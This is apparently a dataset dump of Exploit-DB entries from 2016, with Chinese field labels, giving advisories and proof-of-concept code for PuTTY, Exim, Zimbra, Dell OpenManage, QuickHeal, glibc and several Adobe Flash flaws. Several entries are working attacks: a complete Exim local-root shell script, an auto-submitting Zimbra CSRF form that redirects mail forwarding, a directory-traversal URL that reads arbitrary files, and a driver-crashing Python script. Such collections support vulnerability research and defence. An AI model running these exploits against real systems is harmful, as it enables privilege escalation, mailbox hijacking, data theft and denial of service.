QLWD/code_shield huggingface dataset:
标题: Putty pscp 0.66 - Stack Buffer Overwrite EDB-ID: 39551 CVE: 2016-2563 类型: DOS 平台: MULTIPLE 发布日期: 2016-03-10 漏洞利用脚本: Source: https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-2563

Author:     <github.com/tintinweb>
Date:       Feb 20th, 2016
Name:           putty
Vendor:         sgtatham - http://www.chiark.greenend.org.uk/~sgtatham/putty/ 

Version: 0.59 [3] (~9 years ago) <= affected <= 0.66
Platform(s):    win/nix
Technology:     c

Vuln Classes:   stack buffer overwrite (CWE-121)
Origin:         remote
Min. Privs.:    post auth
CVE:            CVE-2016-2563

Summary

The putty SCP command-line utility (pscp) is missing a bounds-check for a stack buffer when processing the SCP-SINK file-size response to a SCP download request. This may allow a malicious server to overwrite the stack buffer within the client- application potentially leading to remote code execution.

PoC attached. patch attached.

Besides that, two minor issues have been reported in putty packet handling:

DoS condition in the parsing of SSH-Strings that lead to a nullptr read. (connect putty to poc.py and type x11exploit to trigger one of multiple occurrence of a crash, also works with x11forwarding disabled in putty)
DoS condition in the handling of unrequested forwarded-tcpip channels open requests that lead to a nullptr read. (connect putty to poc.py and type forwardedtcpipcrash to trigger crash)

Details

The vulnerable code is located in pscp.c [4] line 1498 (HEAD) and is based on an unbound sscanf string format descriptor storing an arbitrary length string in a 40byte fixed size stack buffer sizestr[40].


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39551.zip URL: https://www.exploit-db.com/exploits/39551
标题: Exim 4.84-3 - Local Privilege Escalation EDB-ID: 39535 CVE: 2016-1531 类型: LOCAL 平台: LINUX 发布日期: 2016-03-09 漏洞利用脚本: #!/bin/sh
# CVE-2016-1531 exim <= 4.84-3 local root exploit
# ===============================================
# you can write files as root or force a perl module to
# load by manipulating the perl environment and running
# exim with the "perl_startup" arguement -ps. 
#
# e.g.
# [fantastic@localhost tmp]$ ./cve-2016-1531.sh 
# [ CVE-2016-1531 local root exploit
# sh-4.3# id
# uid=0(root) gid=1000(fantastic) groups=1000(fantastic)
# 
# -- Hacker Fantastic 
echo [ CVE-2016-1531 local root exploit
cat > /tmp/root.pm << EOF
package root;
use strict;
use warnings;

system("/bin/sh");
EOF
PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -ps URL: https://www.exploit-db.com/exploits/39535
标题: Adobe Digital Editions 4.5.0 - '.pdf' Critical Memory Corruption EDB-ID: 39533 CVE: 2016-0954 类型: DOS 平台: WINDOWS 发布日期: 2016-03-09 漏洞利用脚本: ########################################################################################
 
# Title: Adobe Digital Editions <= 4.5.0 - Critical memory corruption
# Application: Adobe Digital Editions
# Version: 4.5.0 and earlier versions
# Platform: Windows, Macintosh, iOS and Android
# Software Link: http://www.adobe.com/solutions/ebook/digital-editions.html
# Date: March 8, 2016
# CVE: CVE-2016-0954
# Author: Pier-Luc Maltais from COSIG
# Contact: https://twitter.com/COSIG_
# Personal contact: https://twitter.com/plmaltais
 
########################################################################################
 
===================
Introduction:
===================
 Adobe® Digital Editions software offers an engaging way to view and manage eBooks and 
 other digital publications. Use it to download and purchase digital content, which can 
 be read both online and offline. Transfer copy-protected eBooks from your personal 
 computer to other computers or devices. Organize your eBooks into a custom library and 
 annotate pages. Digital Editions also supports industry-standard eBook formats, 
 including PDF/A and EPUB. (http://www.adobe.com/ca_fr/products/digital-editions.html)

########################################################################################
 
===================
Report Timeline:
===================
 2015-10-24: Pier-Luc Maltais from COSIG found the issue and report it to Adobe PSIRT.
 2016-03-08: Vendor fixed the issue (APSB16-06).
 2016-03-08: Release of this advisory.

########################################################################################
 
===================
Technical details:
===================
 A critical memory corruption occurs when Adobe Digital Editions handle a specially
 crafted ExtGstate object, which could lead to remote code execution.
 
########################################################################################
 
==========
POC:
==========
https://plmsecurity.net/sites/plmsecurity.net/files/APSB16-06_PoC.pdf
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39533.zip
 
######################################################################################## URL: https://www.exploit-db.com/exploits/39533
标题: Zimbra 8.0.9 GA - Cross-Site Request Forgery EDB-ID: 39500 CVE: 2015-6541 类型: WEBAPPS 平台: LINUX 发布日期: 2016-02-26 漏洞利用脚本: ======================================
Multiple CSRF in Zimbra Mail interface
======================================


CVE-2015-6541

Description
===========

Multiple CSRF vulnerabilities have been found in the Mail interface of
Zimbra 8.0.9 GA Release, enabling to change account
preferences like e-mail forwarding.


CSRF
====

Forms in the preferences part of old releases of Zimbra are vulnerable
to CSRF because of the lack of a CSRF token identifying a valid session.
As a consequence, requests can be forged and played arbitrarily.

**Access Vector**: remote
**Security Risk**: low
**Vulnerability**: CWE-352
**CVSS Base score**: 5.8

----------------
Proof of Concept
----------------

<html>
<body>
<form enctype="text/plain" id="trololo"
action="https://192.168.0.171/service/soap/BatchRequest" method="POST">
    <input name='<soap:Envelope
xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Header><context
xmlns="urn:zimbra"><userAgent xmlns="" name="ZimbraWebClient - FF38
(Win)" version="8.0.9_GA_6191"/><session xmlns="" id="19"/><account
xmlns="" by="name">anto@mail.ubuntu.fr</account><format xmlns=""
type="js"/></context></soap:Header><soap:Body><BatchRequest
xmlns="urn:zimbra" onerror="stop"><ModifyPrefsRequest
xmlns="urn:zimbraAccount" requestId="0"><pref xmlns=""
name="zimbraPrefMailForwardingAddress">itworks@ubuntu.fr</pref></ModifyPrefsRequest><a
xmlns="" n'
value='"sn">itworks</a></BatchRequest></soap:Body></soap:Envelope>'/>
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>


Solution
========

Sensitive forms should be protected by a CSRF token.


Fixes
=====

Fixed with 8.5 release : bug 83547
(https://wiki.zimbra.com/wiki/Security/Collab/86#Notes_from_8.5)


Affected versions
=================

 * Zimbra <= 8.0.9 GA Release


Credits
=======

 * Anthony LAOU-HINE TSUEI, Sysdream (laouhine_anthony -at- hotmail
-dot- fr)
 * Damien CAUQUIL, Sysdream (d.cauquil -at- sysdream -dot- com) URL: https://www.exploit-db.com/exploits/39500
标题: Dell OpenManage Server Administrator 8.2 - (Authenticated) Directory Traversal EDB-ID: 39486 CVE: 2016-4004 类型: WEBAPPS 平台: WINDOWS 发布日期: 2016-02-23 漏洞利用脚本: # Exploit Title: Dell OpenManage Server Administrator 8.2 Authenticated
Directory Traversal
# Date: February 22, 2016
# Exploit Author: hantwister
# Vendor Homepage: http://www.dell.com/
# Software Link:
http://www.dell.com/support/contents/us/en/19/article/Product-Support/Self-support-Knowledgebase/enterprise-resource-center/Enterprise-Tools/OMSA
# Version: 8.2
# Tested on: Windows 7 x64

When authenticated as an admin, make the following adjustments to the URL
below:

1) Substitute "<IP>" for the target;
2) Substitute "Windows\WindowsUpdate.log" for the desired file;
3) Substitute the value of the vid parameter and the folder name preceding
"/ViewFile" with the vid parameter from your current session.

https://
<IP>:1311/0123456789ABCDEF/ViewFile?path=\temp&file=hello\..\..\..\..\..\..\..\..\Windows\WindowsUpdate.log&vid=0123456789ABCDEF

In the file parameter, "hello" can be changed to any other name; the folder
need not exist. However, the file parameter must not start with a common
file path separator, nor a dot character.

The path parameter should not be changed; the provided value is essential
to bypassing a security control. URL: https://www.exploit-db.com/exploits/39486
标题: Adobe Flash - SimpleButton Creation Type Confusion EDB-ID: 39476 CVE: 2015-8644 类型: DOS 平台: MULTIPLE 发布日期: 2016-02-19 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=640

There is a type confusion vulnerability in the SimpleButton constructor. Flash stores an empty button to use to create buttons for optimization reasons. If this object is created using a SWF tag before it is created in the Button class, and it not of type Button, type confusion can occur.

A SWF needs to be altered in a hex editor to reproduce this issue. To start, build button.fla. This is a swf with the code:

var sb = new SimpleButton();

and a font attached. Decompress the swf using flasm -x button.swf, and then replace all occurrences of the font ID (0x0001) in the three tags that use it with the ID of the empty button object (0xfff6).  

When the button is created, the font will be type confused with a button.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39476.zip URL: https://www.exploit-db.com/exploits/39476
标题: Adobe Flash - H264 File Stack Corruption EDB-ID: 39466 CVE: 2016-0967 类型: DOS 平台: MULTIPLE 发布日期: 2016-02-17 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=633

The attached flv file causes stack corruption when loaded into Flash. To use the PoC, load LoadMP42.swf?file=lownull.flv from a remote server.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39466.zip URL: https://www.exploit-db.com/exploits/39466
标题: Adobe Flash - LoadVars.decode Use-After-Free EDB-ID: 39463 CVE: 2016-0974 类型: DOS 平台: MULTIPLE 发布日期: 2016-02-17 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=667

There is a use-after-free in LoadVars.decode. If a watch is set on the object that the parameters are being decoded into, and the watch deletes the object, then other methods are called on the deleted object after it is freed. A PoC is as follows:

var lv = new LoadVars();
var f = lv.decode;
var tf = this.createTextField("tf",1, 2, 3, 4, 5);
tf.natalie = "not test";
tf.watch("natalie", func);
f.call(tf, "natalie=test&bob=1");
trace(tf.natalie);


function func(){
 
 trace("here");
 tf.removeTextField(); 
 return "test";

 }
 

A sample swf and fla are attached. This issue was reproduced in Chrome on 64-bit Ubuntu.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39463.zip URL: https://www.exploit-db.com/exploits/39463
标题: Adobe Flash - BitmapData.drawWithQuality Heap Overflow EDB-ID: 39467 CVE: 2016-0964 类型: DOS 平台: MULTIPLE 发布日期: 2016-02-17 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=609

The attached fuzz test case causes a crash due to a heap overflow in BitmapData.drawWithQuality.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39467.zip URL: https://www.exploit-db.com/exploits/39467
标题: Adobe Flash - ATF Processing Heap Overflow EDB-ID: 39465 CVE: 2016-0971 类型: DOS 平台: MULTIPLE 发布日期: 2016-02-17 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=635

The attached file causes a crash due to a heap overflow, probably due to an issue in ATF processing by the URLStream class.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39465.zip URL: https://www.exploit-db.com/exploits/39465
标题: Adobe Flash - Sound.loadPCMFromByteArray Dangling Pointer EDB-ID: 39462 CVE: 2016-0984 类型: DOS 平台: MULTIPLE 发布日期: 2016-02-17 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=698

There is a dangling pointer that can be read, but not written to in loadPCMFromByteArray. A minimal PoC is as follows:

 var s = new Sound();
 var b = new ByteArray();
 for( var i = 0; i < 1600; i++){
  b.writeByte(1);
 }
 b.position = 0;
 s.loadPCMFromByteArray(b, 100, "float", false, 2.0);
 var c = new ByteArray();
 for(var i = 0; i < 2; i++){
   c.writeByte(1); 
 }
 c.position = 0;
 try{
  s.loadPCMFromByteArray(c, 1, "float", false, 2.0);
 }catch(e:Error){  
  trace(e.message);
 }
   
 var d = new ByteArray();
 s.extract(d, 1, 0);

The PoC first loads PCM bytes correctly, setting an internal pointer to them. It then loads PCM bytes again, with a specific array length that passes the array length check, but then causes a exception to be thrown when reading the byte array. This causes the pointer to the original PCM array to be deleted, but then the function exits due to an exception before the pointer is set again. If the exception is caught, the sound object containing the dangling pointer can be used again. The sound.extract method reads directly out of the location the dangling pointer points to.

A full PoC and swf are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39462.zip URL: https://www.exploit-db.com/exploits/39462
标题: Adobe Flash - textfield Constructor Type Confusion EDB-ID: 39461 CVE: 2016-0985 类型: DOS 平台: MULTIPLE 发布日期: 2016-02-17 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=701

There is a type confusion vulnerability in the TextField constructor in AS3. When a TextField is constructed, a generic backing object is created and reused when subsequent TextField objects are created. However, if an object with the same ID has already been created in the SWF, it can be of the wrong type. The constructor contains a check for this situation, though, and throws an exception and sets a flag to shut down the player if this occurs. The backing object is then set to be of type TextField to avoid any modifications that have been made on it by the constructor from causing problems if it is used as an object of its original type elsewhere in the player.

However, if the exception thrown by the constructor is caught, the exception handler can create another TextField object, and since the type of the generic backing object has been changed, an object of the wrong type is now backing the TextField, which makes it possible to set the pointers in the object to integer values selected by the attacker.

The PoC swf for this issue needs to be created by hand. The original swf code is:

try{

     var t = new TextField();

} catch(e:Error){

     var t2 = new TextField();
     t2.gridFitType;

}

Then in the swf, a backing object of a different type with ID 0xfff9 is created, which causes the first constructor call to fail, and the second to cause type confusion.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39461.zip URL: https://www.exploit-db.com/exploits/39461
标题: QuickHeal 16.00 - 'webssx.sys' Driver Denial of Service EDB-ID: 39475 CVE: 2015-8285 类型: DOS 平台: WINDOWS 发布日期: 2016-02-19 漏洞利用脚本: # Exploit Title: QuickHeal webssx.sys driver DOS vulnerability
# Date: 19/02/2016
# Exploit Author: Csaba Fitzl
# Vendor Homepage: http://www.quickheal.co.in/
# Version: 16.00
# Tested on: Win7x86, Win7x64
# CVE : CVE-2015-8285

from ctypes import *
from ctypes.wintypes import *
import sys

kernel32 = windll.kernel32
ntdll = windll.ntdll

#GLOBAL VARIABLES

MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_EXECUTE_READWRITE = 0x00000040
STATUS_SUCCESS = 0

def alloc_in(base,evil_size):
 """ Allocate input buffer """
 print "[*] Allocating input buffer"
 baseadd   = c_int(base)
 size = c_int(evil_size)
 evil_input = "\x41" * 0x10
 evil_input += "\x42\x01\x42\x42" #to trigger memcpy
 evil_input += "\x42" * (0x130-0x14)
 evil_input += "\xc0\xff\xff\xff" #this will cause memcpy to fail, and trigger BSOD
 evil_input += "\x43" * (evil_size-len(evil_input))
 ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong, 
             POINTER(c_int), c_int, c_int]
 dwStatus = ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(baseadd), 0x0, 
            byref(size), 
            MEM_RESERVE|MEM_COMMIT,
            PAGE_EXECUTE_READWRITE)
 if dwStatus != STATUS_SUCCESS:
  print "[-] Error while allocating memory: %s" % hex(dwStatus+0xffffffff)
  sys.exit()
 written = c_ulong()
 alloc = kernel32.WriteProcessMemory(0xFFFFFFFF, base, evil_input, len(evil_input), byref(written))
 if alloc == 0:
  print "[-] Error while writing our input buffer memory: %s" %\
   alloc
  sys.exit()

if __name__ == '__main__':
 print "[*] webssx BSOD"
 
 GENERIC_READ  = 0x80000000
 GENERIC_WRITE = 0x40000000
 OPEN_EXISTING = 0x3
 IOCTL_VULN = 0x830020FC
 DEVICE_NAME   = "\\\\.\\webssx\some" #add "some" to bypass ACL restriction, (FILE_DEVICE_SECURE_OPEN is not applied to the driver)
 dwReturn   = c_ulong()
 driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)

 inputbuffer    = 0x41414141 #memory address of the input buffer
 inputbuffer_size  = 0x1000
 outputbuffer_size = 0x0
 outputbuffer   = 0x20000000 
 alloc_in(inputbuffer,inputbuffer_size)
 IoStatusBlock = c_ulong()
 if driver_handle:
  print "[*] Talking to the driver sending vulnerable IOCTL..."
  dev_ioctl = ntdll.ZwDeviceIoControlFile(driver_handle,
            None,
            None,
            None,
            byref(IoStatusBlock),
            IOCTL_VULN,
            inputbuffer,
            inputbuffer_size,
            outputbuffer,
            outputbuffer_size
            ) URL: https://www.exploit-db.com/exploits/39475
标题: glibc - 'getaddrinfo' Stack Buffer Overflow (PoC) EDB-ID: 39454 CVE: 2015-7547 类型: DOS 平台: LINUX 发布日期: 2016-02-16 漏洞利用脚本: Sources: 
https://googleonlinesecurity.blogspot.sg/2016/02/cve-2015-7547-glibc-getaddrinfo-stack.html
https://github.com/fjserna/CVE-2015-7547

Technical information:

glibc reserves 2048 bytes in the stack through alloca() for the DNS answer at _nss_dns_gethostbyname4_r() for hosting responses to a DNS query.

Later on, at send_dg() and send_vc(), if the response is larger than 2048 bytes, a new buffer is allocated from the heap and all the information (buffer pointer, new buffer size and response size) is updated.

Under certain conditions a mismatch between the stack buffer and the new heap allocation will happen. The final effect is that the stack buffer will be used to store the DNS response, even though the response is larger than the stack buffer and a heap buffer was allocated. This behavior leads to the stack buffer overflow.

The vectors to trigger this buffer overflow are very common and can include ssh, sudo, and curl. We are confident that the exploitation vectors are diverse and widespread; we have not attempted to enumerate these vectors further.

We are providing this code as-is. You are responsible for protecting yourself,
your property and data, and others from any risks caused by this code. This
code may cause unexpected and undesirable behavior to occur on your machine.
This code may not detect the vulnerability on your system.

Note that this POC consists of two components: server code and client code.
The server code triggers the vulnerability and therefore will crash the client
code. Note also that it is necessary to set the nameserver to point to the
server code, and doing so could cause other programs that call into the
getaddrinfo() function to crash while testing is underway. This POC code is
provided "as is" with no warranties, whether express or implied, including
without limitation any warranties or merchantability, fitness for a particular
use and noninfringement. Google assumes no responsibility for your proper
installation and use of the POC code.


Proof of Concept:
https://github.com/fjserna/CVE-2015-7547/archive/master.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39454-1.zip URL: https://www.exploit-db.com/exploits/39454
标题: Adobe Flash - Out-of-Bounds Image Read EDB-ID: 39460 CVE: 2016-0965 类型: DOS 平台: MULTIPLE 发布日期: 2016-02-17 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=630

The attached file can cause an out-of-bounds read of an image. While the bits of the image are null, the width, height and other values can make it a valid pointer. 


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39460.zip URL: https://www.exploit-db.com/exploits/39460
标题: Adobe Photoshop CC / Bridge CC - '.iff' Parsing Memory Corruption EDB-ID: 39431 CVE: 2016-0953 类型: DOS 平台: WINDOWS 发布日期: 2016-02-09 漏洞利用脚本: #####################################################################################

Application: Adobe Photoshop CC & Bridge CC IFF file parsing memory corruption

Platforms: Windows

Versions: Bridge CC 6.1.1 and earlier versions

Version: Photoshop CC 16.1.1 (2015.1.1) and earlier versions

CVE; 2016-0953

Author: Francis Provencher of COSIG

Twitter: @COSIG_

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

===============
1) Introduction
===============

Adobe Photoshop is a raster graphics editor developed and published by Adobe Systems for Windows and OS X.

(https://en.wikipedia.org/wiki/Adobe_Photoshop)

#####################################################################################

============================
2) Report Timeline
============================

2015-11-11: Francis Provencher from COSIG report the issue to PSIRT (ADOBE);

2016-02-09: Adobe release a patch (APSB16-03);

2016-02-09: COSIG release this advisory;

#####################################################################################

============================
3) Technical details
============================

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Photoshop CC & Bridge CC. User interaction is required to exploit this vulnerability in that the target must open a malicious file. By providing a malformed IFF file, an attacker can cause an heap memory corruption. An attacker could leverage this to execute arbitrary code under the context of the application.

#####################################################################################

===========

4) POC

===========

http://protekresearchlab.com/exploits/COSIG-2016-10.iff

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39431.zip

############################################################################### URL: https://www.exploit-db.com/exploits/39431